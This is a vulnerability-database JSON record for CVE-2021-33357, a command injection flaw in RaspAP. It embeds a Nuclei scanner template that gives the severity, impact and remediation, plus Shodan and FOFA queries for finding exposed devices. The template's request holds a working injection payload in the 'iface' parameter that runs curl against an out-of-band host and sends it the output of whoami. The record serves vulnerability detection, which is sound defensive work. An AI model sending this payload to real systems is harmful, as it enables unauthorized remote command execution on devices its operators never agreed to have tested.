{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-33357/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-33357/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-33357/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-33357/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-33357/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-33357"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-33357"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-33357.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-33357\n\ninfo:\n  name: RaspAP <=2.6.5 - Remote Command Injection\n  author: pikpikcu,pdteam\n  severity: critical\n  description: |\n    RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the \"iface\" GET parameter in /ajax/networking/get_netcfg.php, when the \"iface\" parameter value contains special characters such as \";\".\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the integrity and confidentiality of the affected system.\n  remediation: |\n    Upgrade RaspAP to a version higher than 2.6.5 to mitigate the vulnerability.\n  reference:\n    - https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/\n    - https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf\n    - https://github.com/RaspAP/raspap-webgui\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-33357\n    - https://github.com/20142995/Goby\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-33357\n    cwe-id: CWE-78\n    epss-score: 0.17446\n    epss-percentile: 0.97021\n    cpe: cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: raspap\n    product: raspap\n    shodan-query: http.favicon.hash:-1465760059\n    fofa-query: icon_hash=-1465760059\n  tags: cve2021,cve,rce,raspap,oast,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20{{interactsh-url}}/`whoami`;\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        words:\n          - \"DHCPEnabled\"\n\n    extractors:\n      - type: regex\n        group: 1\n        regex:\n          - 'GET \\/([a-z-]+) HTTP'\n        part: interactsh_request\n# digest: 4a0a00473045022100918974500d32df522058ac9a7722a8b0b22897e3148eb0a752a740e8fb9df400022034f18f9a25f2d3e9fe2cf1df6b9fcbc98b9edc9b6d5d86df166c95475162ff83:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-33357"
}